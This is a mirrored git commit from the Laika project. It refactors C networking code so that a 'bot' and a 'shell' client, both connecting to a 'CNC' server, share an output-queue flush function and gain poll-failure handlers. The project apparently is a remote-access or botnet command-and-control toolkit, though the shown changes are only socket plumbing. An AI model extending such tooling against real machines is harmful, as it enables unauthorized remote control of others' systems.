1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-21 12:40:04 +00:00

Switched Shell & Bot to use laikaP_flushOutQueue()

- they both now have handlers for onPollFail
This commit is contained in:
CPunch 2022-03-24 18:03:08 -05:00
parent 7baced7b8f
commit 541e75f183
3 changed files with 27 additions and 31 deletions

View File

@ -33,6 +33,14 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
true),
};
/* socket event */
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
laikaS_kill(&bot->peer->sock);
}
/* ==================================================[[ Bot ]]=================================================== */
struct sLaika_bot *laikaB_newBot(void) {
@ -47,8 +55,8 @@ struct sLaika_bot *laikaB_newBot(void) {
bot->peer = laikaS_newPeer(
laikaB_pktTbl,
&bot->pList,
NULL,
NULL,
laikaB_onPollFail,
(void*)bot,
(void*)bot
);
@ -128,31 +136,20 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
LAIKA_ERROR("failed to gen session key!\n");
}
void laikaB_flushQueue(struct sLaika_bot *bot) {
/* flush pList's outQueue */
if (bot->pList.outCount > 0) {
if (!laikaS_handlePeerOut(&bot->peer->sock))
laikaS_kill(&bot->peer->sock);
laikaP_resetOutQueue(&bot->pList);
}
}
bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
struct sLaika_pollEvent *evnt;
int numEvents;
/* flush any events prior (eg. made by a task) */
laikaB_flushQueue(bot);
laikaP_flushOutQueue(&bot->pList);
evnt = laikaP_poll(&bot->pList, timeout, &numEvents);
if (numEvents == 0) /* no events? timeout was reached */
return false;
if (!laikaP_handleEvent(evnt))
laikaS_kill(&bot->peer->sock);
laikaP_handleEvent(evnt);
/* flush any events after (eg. made by a packet handler) */
laikaB_flushQueue(bot);
laikaP_flushOutQueue(&bot->pList);
return true;
}

View File

@ -135,6 +135,14 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
true),
};
/* socket event */
void shellC_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
struct sShell_client *client = (struct sShell_client*)uData;
laikaS_kill(&client->peer->sock);
}
/* ===============================================[[ Client API ]]=============================================== */
void shellC_init(tShell_client *client) {
@ -142,8 +150,8 @@ void shellC_init(tShell_client *client) {
client->peer = laikaS_newPeer(
shellC_pktTbl,
&client->pList,
NULL,
NULL,
shellC_onPollFail,
(void*)client,
(void*)client
);
@ -222,22 +230,12 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
/* the handshake requests will be sent on the next call to shellC_poll */
}
void shellC_flushQueue(tShell_client *client) {
/* flush pList's outQueue */
if (client->pList.outCount > 0) {
if (!laikaS_handlePeerOut(&client->peer->sock))
laikaS_kill(&client->peer->sock);
laikaP_resetOutQueue(&client->pList);
}
}
bool shellC_poll(tShell_client *client, int timeout) {
struct sLaika_pollEvent *evnt;
int numEvents;
/* flush any events prior (eg. made by a command handler) */
shellC_flushQueue(client);
laikaP_flushOutQueue(&client->pList);
evnt = laikaP_poll(&client->pList, timeout, &numEvents);
if (numEvents == 0) /* no events? timeout was reached */
@ -247,7 +245,7 @@ bool shellC_poll(tShell_client *client, int timeout) {
laikaS_kill(&client->peer->sock);
/* flush any events after (eg. made by a packet handler) */
shellC_flushQueue(client);
laikaP_flushOutQueue(&client->pList);
return true;
}

View File

@ -170,10 +170,11 @@ void shellS_runCmd(tShell_client *client, char *cmd) {
}
/* run command */
shellT_printf("\n");
shellT_printf("\n\n");
if (setjmp(cmdE_err) == 0) {
cmdDef->callback(client, args, argc);
}
shellT_printf("\n");
/* free our argument buffer */
laikaM_free(argc);